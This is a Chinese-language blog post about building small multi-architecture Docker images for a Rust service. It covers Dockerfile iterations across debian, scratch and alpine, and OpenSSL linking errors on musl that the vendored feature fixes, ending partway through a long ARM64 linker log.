在和 BennyThink 炫耀了一翻(我的 ChatGPT 使用技巧)之后我便开始准备起了我的老本行工作——CI/CD 和 MultiArch 镜像打包(不然 ARM64 用户怎么用),然后噩梦就开始了。
最开始我的 Dockerfile 是这样的:
# docker build . -t knatnetwork/github-runner-kms-rs
FROM rust:1.72 as builder
WORKDIR /app
COPY Cargo.toml Cargo.lock rust-toolchain.toml ./
RUN mkdir src
COPY src ./src
RUN cargo build --release
FROM debian:bookworm-slim
RUN apt update && apt install -y libssl-dev && rm -rf /var/lib/apt/lists/*
WORKDIR /
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
COPY --from=builder /app/target/release/github-runner-kms-rs /github-runner-kms-rs
ENV ROCKET_ADDRESS=0.0.0.0
ENV ROCKET_PORT=3000
CMD ["/github-runner-kms-rs"]
这样虽然可以直接用 Buildx 构建多架构镜像,但是这样构建出出来的镜像比较大,和我之前用 Node 写的版本体积差异不大(那这 Rust 重写的优势似乎就一点都没了):
knatnetwork/github-runner-kms-rs latest 99a06a8d8f58 About a minute ago 111MB
knatnetwork/github-runner-kms latest f7f01af885d1 16 months ago 116MB
于是我想了一下,应该把运行时环境改为 scratch 之类的,这样可以减少运行时的负担。
然后 Dockerfile 就成了这个样子:
# docker build . -t knatnetwork/github-runner-kms-rs
FROM rust:1.72 as builder
WORKDIR /app
COPY Cargo.toml Cargo.lock rust-toolchain.toml ./
RUN mkdir src
COPY src ./src
RUN cargo build --release
FROM scratch
WORKDIR /
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
COPY --from=builder /app/target/release/github-runner-kms-rs /github-runner-kms-rs
ENV ROCKET_ADDRESS=0.0.0.0
ENV ROCKET_PORT=3000
CMD ["/github-runner-kms-rs"]
很快啊,就构建好了,镜像体积也很小:
REPOSITORY TAG IMAGE ID CREATED SIZE
knatnetwork/github-runner-kms-rs latest bb498b0571f6 4 seconds ago 17MB
完美啊,这不得吹爆,我们来运行一下:
exec /github-runner-kms-rs: no such file or directory

我知道了,肯定是 scratch 有什么问题,我换成 alpine 试试,由于 Rust 的镜像默认是 debian 的,所以也需要一并修改一下:
# docker build . -t knatnetwork/github-runner-kms-rs
FROM rust:1.72-alpine as builder
WORKDIR /app
COPY Cargo.toml Cargo.lock rust-toolchain.toml ./
RUN mkdir src
COPY src ./src
RUN cargo build --release
FROM alpine
WORKDIR /
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
COPY --from=builder /app/target/release/github-runner-kms-rs /github-runner-kms-rs
ENV ROCKET_ADDRESS=0.0.0.0
ENV ROCKET_PORT=3000
CMD ["/github-runner-kms-rs"]
然后构建的时候就看到报错了:
#0 42.91 cargo:rerun-if-env-changed=PKG_CONFIG_SYSROOT_DIR
#0 42.91 run pkg_config fail: Could not run `PKG_CONFIG_ALLOW_SYSTEM_CFLAGS="1" "pkg-config" "--libs" "--cflags" "openssl"`
#0 42.91 The pkg-config command could not be found.
#0 42.91
#0 42.91 Most likely, you need to install a pkg-config package for your OS.
#0 42.91 Try `apt install pkg-config`, or `yum install pkg-config`,
#0 42.91 or `pkg install pkg-config`, or `apk add pkgconfig` depending on your distribution.
#0 42.91
#0 42.91 If you've already installed it, ensure the pkg-config command is one of the
#0 42.91 directories in the PATH environment variable.
#0 42.91
#0 42.91 If you did not expect this build to link to a pre-installed system library,
#0 42.91 then check documentation of the openssl-sys crate for an option to
#0 42.91 build the library from source, or disable features or dependencies
#0 42.91 that require pkg-config.
#0 42.91
#0 42.91 --- stderr
#0 42.91 thread 'main' panicked at /usr/local/cargo/registry/src/index.crates.io-6f17d22bba15001f/openssl-sys-0.9.92/build/find_normal.rs:190:5:
行,那我加上 pkg-config 啥的再构建一次,这个时候我的 Dockerfile 长这个样子:
# docker build . -t knatnetwork/github-runner-kms-rs
FROM rust:1.72-alpine as builder
WORKDIR /app
RUN apk add --no-cache musl-dev pkgconfig openssl-dev perl make
COPY Cargo.toml Cargo.lock rust-toolchain.toml ./
RUN mkdir src
COPY src ./src
RUN cargo build --release
FROM alpine
WORKDIR /
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
COPY --from=builder /app/target/release/github-runner-kms-rs /github-runner-kms-rs
ENV ROCKET_ADDRESS=0.0.0.0
ENV ROCKET_PORT=3000
CMD ["/github-runner-kms-rs"]
我们再构建一次!果不其然,又报错了:
#0 241.7 error: linking with `cc` failed: exit status: 1
#0 241.7 |
#0 241.7 = note: LC_ALL="C" PATH="/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/bin:/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/bin/self-contained:/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" VSLANG="1033" "cc" "-m64" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/rcrt1.o" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/crti.o" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/crtbeginS.o" "/tmp/rustcDeOMKK/symbols.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.00.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.01.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.02.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.03.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.04.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.05.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.06.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.07.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.08.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.09.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.10.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.11.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.12.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.13.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.14.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.15.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.29evm7mljwxoiapo.rcgu.o" "-Wl,--as-needed" "-L" "/app/target/release/deps" "-L" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib" "-Wl,-Bstatic" "/app/target/release/deps/libreqwest-413f19fd305705be.rlib" "/app/target/release/deps/libhyper_tls-de7cff274ebc6082.rlib" "/app/target/release/deps/libipnet-0c1b57a669a9cbd8.rlib" "/app/target/release/deps/libtokio_tls-466d4c7c8ccde9e9.rlib" "/app/target/release/deps/libserde_urlencoded-564227aa75c6cf61.rlib" "/app/target/release/deps/libserde_json-315a6db3313efd74.rlib" "/app/target/release/deps/libryu-90b15a42c578bb1b.rlib" "/app/target/release/deps/libbase64-8443b2b8d5247f8c.rlib" "/app/target/release/deps/libmime_guess-70f88a763e586f7b.rlib" "/app/target/release/deps/libunicase-97b33380ac397ca5.rlib" "/app/target/release/deps/libnative_tls-f133c0df3c5c9fd7.rlib" "/app/target/release/deps/libopenssl_probe-4ee893680cc72bb7.rlib" "/app/target/release/deps/libopenssl-7f4f468be3a29e7b.rlib" "/app/target/release/deps/libforeign_types-c9b9e12302cd9400.rlib" "/app/target/release/deps/libforeign_types_shared-bb46efa448555615.rlib" "/app/target/release/deps/libopenssl_sys-84601691acc36521.rlib" "-lssl" "-lcrypto" "/app/target/release/deps/libhyper-ff2045cb6eee285f.rlib" "/app/target/release/deps/libitoa-9c4aa3027875d0a4.rlib" "/app/target/release/deps/libwant-5bbf44ef9f4a7fa8.rlib" "/app/target/release/deps/libtry_lock-6191f2e97230b624.rlib" "/app/target/release/deps/libh2-82e3ed415fa5aea0.rlib" "/app/target/release/deps/libtracing_futures-efb4777831323b90.rlib" "/app/target/release/deps/libtokio_util-73b052921eb07c94.rlib" "/app/target/release/deps/libhttpdate-4c5189ab64dae771.rlib" "/app/target/release/deps/libsocket2-1130a50fedd9c30b.rlib" "/app/target/release/deps/libpin_project-b61326a08f60c63f.rlib" "/app/target/release/deps/libtokio-70f5a8f7f958d3c5.rlib" "/app/target/release/deps/libmio-9d4964e6513a1ad4.rlib" "/app/target/release/deps/libiovec-5eb94694c4d55713.rlib" "/app/target/release/deps/libnet2-385966268f23ec9a.rlib" "/app/target/release/deps/libcfg_if-527be9ad7a3eeeb2.rlib" "/app/target/release/deps/libpin_project_lite-026a5c0a6346e10b.rlib" "/app/target/release/deps/libhttp_body-b029c1e1a93a3fdf.rlib" "/app/target/release/deps/libbytes-fef57e8100be4cf1.rlib" "/app/target/release/deps/liblazy_static-87ea8e6cd0d19ffd.rlib" "/app/target/release/deps/liburl-e81b6a63132098ee.rlib" "/app/target/release/deps/libidna-5684e22ece388933.rlib" "/app/target/release/deps/libunicode_normalization-92c59e55724ea807.rlib" "/app/target/release/deps/libtinyvec-4891f23dc055ae76.rlib" "/app/target/release/deps/libtinyvec_macros-ae46f58adef890f1.rlib" "/app/target/release/deps/libunicode_bidi-67cd6e4bd49a819a.rlib" "/app/target/release/deps/libform_urlencoded-4e21afe0dbb58abf.rlib" "/app/target/release/deps/librocket-832be8dcd38752d6.rlib" "/app/target/release/deps/libtempfile-8989b89b2acedd7d.rlib" "/app/target/release/deps/libfastrand-17898f5e8f1a75d7.rlib" "/app/target/release/deps/librocket_http-f225536aa9ad7cf2.rlib" "/app/target/release/deps/libcookie-ce99a55cf79ae699.rlib" "/app/target/release/deps/libstable_pattern-da7d537afad82119.rlib" "/app/target/release/deps/libref_cast-a3c03861c7b11191.rlib" "/app/target/release/deps/libpercent_encoding-fe9f461b263a8555.rlib" "/app/target/release/deps/libhyper-7fc355661d3af9a4.rlib" "/app/target/release/deps/libsocket2-7287e7ae2a015f6e.rlib" "/app/target/release/deps/libh2-a5c9f91aa852b87a.rlib" "/app/target/release/deps/libtower_service-d7d1e275b15ecdd2.rlib" "/app/target/release/deps/libhttp_body-917efee2cb9ae3e1.rlib" "/app/target/release/deps/libhttpdate-193fb5bb3fc8a1ae.rlib" "/app/target/release/deps/libmulter-548b013c594046c9.rlib" "/app/target/release/deps/libmime-1cad6985ad94cd3b.rlib" "/app/target/release/deps/libtokio_util-881f259bd1a88175.rlib" "/app/target/release/deps/libtracing-673c78ac2e8759c9.rlib" "/app/target/release/deps/libtracing_core-de020e7a190e075f.rlib" "/app/target/release/deps/libonce_cell-80e3a82336bdedeb.rlib" "/app/target/release/deps/libhttparse-915a8f2da663425b.rlib" "/app/target/release/deps/libspin-90368875e9195bbf.rlib" "/app/target/release/deps/libencoding_rs-a267f372c3465d02.rlib" "/app/target/release/deps/libhttp-2aa08726f20a7e51.rlib" "/app/target/release/deps/libfnv-ccadf0ca239599af.rlib" "/app/target/release/deps/libindexmap-b2631349373b4eda.rlib" "/app/target/release/deps/libhashbrown-646e7ed123d930ac.rlib" "/app/target/release/deps/libeither-6a752b59d57df59f.rlib" "/app/target/release/deps/libtokio_stream-936dd6e7aa37fe15.rlib" "/app/target/release/deps/libatomic-63dfc73318740fca.rlib" "/app/target/release/deps/libstate-f900f6803deccbbb.rlib" "/app/target/release/deps/libparking_lot-b00169d41edd8ef0.rlib" "/app/target/release/deps/libparking_lot_core-4300f975357633e6.rlib" "/app/target/release/deps/libcfg_if-bdedb1558d5a790e.rlib" "/app/target/release/deps/libsmallvec-b7eac3fc16cf2b93.rlib" "/app/target/release/deps/liblock_api-8154e6a7bb534615.rlib" "/app/target/release/deps/libscopeguard-ddf34753bef86582.rlib" "/app/target/release/deps/libubyte-d7872ed76fc901cf.rlib" "/app/target/release/deps/liblog-9d9910a5d9babcfc.rlib" "/app/target/release/deps/libis_terminal-f80d54d2371bb2f4.rlib" "/app/target/release/deps/librustix-56fc3b73c0650f3b.rlib" "/app/target/release/deps/libbitflags-6f97b00d5a87d32c.rlib" "/app/target/release/deps/liblinux_raw_sys-ae38d2f22413e0d9.rlib" "/app/target/release/deps/libtime-be7976a42ebcbd3a.rlib" "/app/target/release/deps/libitoa-8df96135456c1a40.rlib" "/app/target/release/deps/libtime_core-5ca9150016beb056.rlib" "/app/target/release/deps/libderanged-9d02b676a9edd287.rlib" "/app/target/release/deps/libfigment-1aed0533fdd61cdb.rlib" "/app/target/release/deps/libtoml-4a1822de166a3a68.rlib" "/app/target/release/deps/libtoml_edit-0314208a88a6ab31.rlib" "/app/target/release/deps/libserde_spanned-9c866aa0a4b5efb3.rlib" "/app/target/release/deps/libindexmap-9b4c1e51b49f3cb4.rlib" "/app/target/release/deps/libequivalent-0346c4465917450c.rlib" "/app/target/release/deps/libhashbrown-4b13bd6e646304c9.rlib" "/app/target/release/deps/libwinnow-00608ede3019061f.rlib" "/app/target/release/deps/libtoml_datetime-c86f900ee8b12fe5.rlib" "/app/target/release/deps/libuncased-919310f4f59c9874.rlib" "/app/target/release/deps/libpear-c5fa3a40c5c3f0af.rlib" "/app/target/release/deps/libyansi-df176c4301432cd3.rlib" "/app/target/release/deps/libinlinable_string-a22ad308dd1b07a2.rlib" "/app/target/release/deps/libserde-59ec3dd8b1be388a.rlib" "/app/target/release/deps/libtokio-95992c2592bb0c1f.rlib" "/app/target/release/deps/libsignal_hook_registry-4379b6cf82a47e5f.rlib" "/app/target/release/deps/libnum_cpus-22db30514c6fb165.rlib" "/app/target/release/deps/libsocket2-dd7ce22dc0bab972.rlib" "/app/target/release/deps/libbytes-cddfab68b70b4adf.rlib" "/app/target/release/deps/libmio-d42badb48e0ac464.rlib" "/app/target/release/deps/liblibc-2ca4858ecc804368.rlib" "/app/target/release/deps/libfutures-ea9b2c8ab782fbcb.rlib" "/app/target/release/deps/libfutures_util-9fb679167ede9916.rlib" "/app/target/release/deps/libmemchr-ff5c1472ed3ed161.rlib" "/app/target/release/deps/libfutures_io-01dc2cf3aa4236c2.rlib" "/app/target/release/deps/libslab-177f4a968e2a0d65.rlib" "/app/target/release/deps/libfutures_channel-5981b2be6878f268.rlib" "/app/target/release/deps/libfutures_sink-513fa35af3ccc1e4.rlib" "/app/target/release/deps/libfutures_task-e1c37fe63f09b725.rlib" "/app/target/release/deps/libpin_utils-935e967700f223b2.rlib" "/app/target/release/deps/libasync_stream-a5738128891a22b0.rlib" "/app/target/release/deps/libpin_project_lite-e1c5bd7fc51504b1.rlib" "/app/target/release/deps/libfutures_core-75ef89d194605f16.rlib" "/app/target/release/deps/libyansi-3091a0348e2a99aa.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libstd-392158b4be25c1ca.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libpanic_unwind-2f4593a24c3685f6.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libobject-3d441ba40b9044b1.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libmemchr-a1fdc3e91cd7a940.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libaddr2line-b27007973df10889.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libgimli-018fc651c64b4919.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/librustc_demangle-74ef6c2730cac143.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libstd_detect-b5bb5c679f5e4950.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libhashbrown-5d0fff17d48f6fa3.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/librustc_std_workspace_alloc-60e165cf1cd7e3ba.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libminiz_oxide-d0b56a52ada963bf.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libadler-ebe9143ffa577f3e.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libunwind-734e914bc1b79a35.rlib" "-lunwind" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libcfg_if-718dc81eeaa0f994.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/liblibc-22394e7a0b2ed9e6.rlib" "-lc" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/liballoc-9535089e3d7da7cd.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/librustc_std_workspace_core-e251179636a4eb0c.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libcore-d01acce508fabf16.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libcompiler_builtins-7ab2269e6a08c0c8.rlib" "-Wl,-Bdynamic" "-Wl,--eh-frame-hdr" "-Wl,-z,noexecstack" "-nostartfiles" "-L" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib" "-L" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained" "-o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4" "-Wl,--gc-sections" "-static-pie" "-Wl,-z,relro,-z,now" "-Wl,-O1" "-nodefaultlibs" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/crtendS.o" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/crtn.o"
#0 241.7 = note: /usr/lib/gcc/x86_64-alpine-linux-musl/12.2.1/../../../../x86_64-alpine-linux-musl/bin/ld: cannot find -lssl: No such file or directory
#0 241.7 /usr/lib/gcc/x86_64-alpine-linux-musl/12.2.1/../../../../x86_64-alpine-linux-musl/bin/ld: cannot find -lcrypto: No such file or directory
#0 241.7 collect2: error: ld returned 1 exit status
#0 241.7
#0 241.7
#0 241.8 error: could not compile `github-runner-kms-rs` (bin "github-runner-kms-rs") due to previous error
------
各种网上搜索发现好像和 ssl 库相关,参考网上搜到的做法在 Cargo.toml 中加入:
openssl = { version = "0.10", features = ["vendored"] }
If the
vendoredCargo feature is enabled, theopenssl-srccrate will be used to compile and statically link to a copy of OpenSSL. The build process requires a C compiler, perl (and perl-core), and make. The OpenSSL version will generally track the newest OpenSSL release, and changes to the version are not considered breaking changes.The vendored copy will not be configured to automatically find the system’s root certificates, but the
openssl-probecrate can be used to do that instead.
features = ["vendored"]:这是一个特性(feature)列表,你启用了名为 “vendored” 的特性。这个特性通常用于启用 OpenSSL crate 内部包含的 OpenSSL 库代码,而不是依赖系统上已安装的 OpenSSL 库。这对于确保项目的可移植性和不受外部系统库影响很有用。
并重新构建,构建成功,体积不大,且可用:
REPOSITORY TAG IMAGE ID CREATED SIZE
knatnetwork/github-runner-kms-rs latest 89d3f57c74e8 13 seconds ago 24.7MB
为了确认这个 Dockerfile 在 ARM64 上是可用的,我去 Hetzner ARM64 的机器上又构建了一下,然后又报错了:
Compiling github-runner-kms-rs v0.0.1 (/app)
error: linking with `cc` failed: exit status: 1
|
= note: LC_ALL="C" PATH="/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/bin:/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/bin/self-contained:/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" VSLANG="1033" "cc" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/self-contained/crt1.o" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/self-contained/crti.o" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/self-contained/crtbegin.o" "/tmp/rustc471pKi/symbols.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.00.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.01.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.02.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.03.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.04.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.05.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.06.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.07.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.08.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.09.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.10.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.11.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.12.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.13.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.14.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.15.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.386c0okcsj1kdyxq.rcgu.o" "-Wl,--as-needed" "-L" "/app/target/release/deps" "-L" "/app/target/release/build/openssl-sys-4b52ea22bc2c9689/out/openssl-build/install/lib" "-L" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib" "-Wl,-Bstatic" "/app/target/release/deps/libreqwest-54f0eecd9a64461b.rlib" "/app/target/release/deps/libhyper_tls-5ca5c68388624029.rlib" "/app/target/release/deps/libipnet-08585b1977ca241e.rlib" "/app/target/release/deps/libtokio_tls-47f0cf803f182381.rlib" "/app/target/release/deps/libserde_urlencoded-0289e236f6d19683.rlib" "/app/target/release/deps/libserde_json-d3559a6d9b9bafad.rlib" "/app/target/release/deps/libryu-d11638cc977e3ce1.rlib" "/app/target/release/deps/libbase64-59c1b043c4836ced.rlib" "/app/target/release/deps/libmime_guess-69823f6aefb6b725.rlib" "/app/target/release/deps/libunicase-a40432df8a9a314e.rlib" "/app/target/release/deps/libnative_tls-04640cf8429bb72d.rlib" "/app/target/release/deps/libopenssl_probe-9623f95c78a89b7b.rlib" "/app/target/release/deps/libopenssl-1cda5fdcb61189f2.rlib" "/app/target/release/deps/libforeign_types-1b720a3fcda466c3.rlib" "/app/target/release/deps/libforeign_types_shared-b7ca5d81cc6277ea.rlib" "/app/target/release/deps/libopenssl_sys-a1fc529eecb6f62a.rlib" "/app/target/release/deps/libhyper-759486257b4ee38e.rlib" "/app/target/release/deps/libitoa-30035605c6471794.rlib" "/app/target/release/deps/libwant-890dfc4530313552.rlib" "/app/target/release/deps/libtry_lock-f77b14c662e56223.rlib" "/app/target/release/deps/libh2-3c32179e7d40dc2c.rlib" "/app/target/release/deps/libtracing_futures-17d9f4809bc33a4e.rlib" "/app/target/release/deps/libtokio_util-3b78186931dd6398.rlib" "/app/target/release/deps/libhttpdate-ff82d3c9a161b281.rlib" "/app/target/release/deps/libsocket2-3a41184621f5382b.rlib" "/app/target/release/deps/libpin_project-ccc7c81d8c5b7805.rlib" "/app/target/release/deps/libtokio-f37464c26f941839.rlib" "/app/target/release/deps/libmio-e71907e4eff0fc5b.rlib" "/app/target/release/deps/libiovec-f51c232606345975.rlib" "/app/target/release/deps/libnet2-3fca814dd8e633ad.rlib" "/app/target/release/deps/libcfg_if-168a945f68d1bbcd.rlib" "/app/target/release/deps/libpin_project_lite-1bf4ebfeba6a22ff.rlib" "/app/target/release/deps/libhttp_body-8b198314e43c14c3.rlib" "/app/target/release/deps/libbytes-68abd7f3517436fa.rlib" "/app/target/release/deps/liblazy_static-3eab779d0755d944.rlib" "/app/target/release/deps/liburl-2ce936308decc46b.rlib" "/app/target/release/deps/libidna-cd14ab0da5fb1a63.rlib" "/app/target/release/deps/libunicode_normalization-6c57abfbf329ee87.rlib" "/app/target/release/deps/libtinyvec-ef48a9b182dd1dde.rlib" "/app/target/release/deps/libtinyvec_macros-5fd9bbd566d8bb0f.rlib" "/app/target/release/deps/libunicode_bidi-4858cefce3fa42ab.rlib" "/app/target/release/deps/libform_urlencoded-3a4a484c740e305e.rlib" "/app/target/release/deps/librocket-fe764f64c47f18d0.rlib" "/app/target/release/deps/libtempfile-2da99e2fd34c9ea0.rlib" "/app/target/release/deps/libfastrand-5e43380f5d309843.rlib" "/app/target/release/deps/librocket_http-10249d804070975f.rlib" "/app/target/release/deps/libcookie-d052d9163ba02221.rlib" "/app/target/release/deps/libstable_pattern-8f4888ae4649d360.rlib" "/app/target/release/deps/libref_cast-be488d9518312b95.rlib" "/app/target/release/deps/libpercent_encoding-359ca849981e7017.rlib" "/app/target/release/deps/libhyper-fbeb526f03e319c6.rlib" "/app/target/release/deps/libsocket2-da6932068eedebf0.rlib" "/app/target/release/deps/libh2-fc18c83bb913466d.rlib" "/app/target/release/deps/libtower_service-bb0e22f36f510baa.rlib" "/app/target/release/deps/libhttp_body-d96258acc03c9153.rlib" "/app/target/release/deps/libhttpdate-8d23528641b845b0.rlib" "/app/target/release/deps/libmulter-a3bb3415bbe509b1.rlib" "/app/target/release/deps/libmime-521d44d88d9ca9b8.rlib" "/app/target/release/deps/libtokio_util-90ef3865aaa61e5e.rlib" "/app/target/release/deps/libtracing-1da3a3ff67f4bec1.rlib" "/app/target/release/deps/libtracing_core-b63b26b64e7a8105.rlib" "/app/target/release/deps/libonce_cell-8069f17fd4df89e6.rlib" "/app/target/release/deps/libhttparse-57449685ff4705cf.rlib" "/app/target/release/deps/libspin-73dbf16dd571446e.rlib" "/app/target/release/deps/libencoding_rs-7683a3afbd2abe9a.rlib" "/app/target/release/deps/libhttp-35200d3ad46ec0f9.rlib" "/app/target/release/deps/libfnv-82c7e996987a6199.rlib" "/app/target/release/deps/libindexmap-02aebc2b2c11958e.rlib" "/app/target/release/deps/libhashbrown-a5ea1c03e41647ca.rlib" "/app/target/release/deps/libeither-7a72415ff30e3108.rlib" 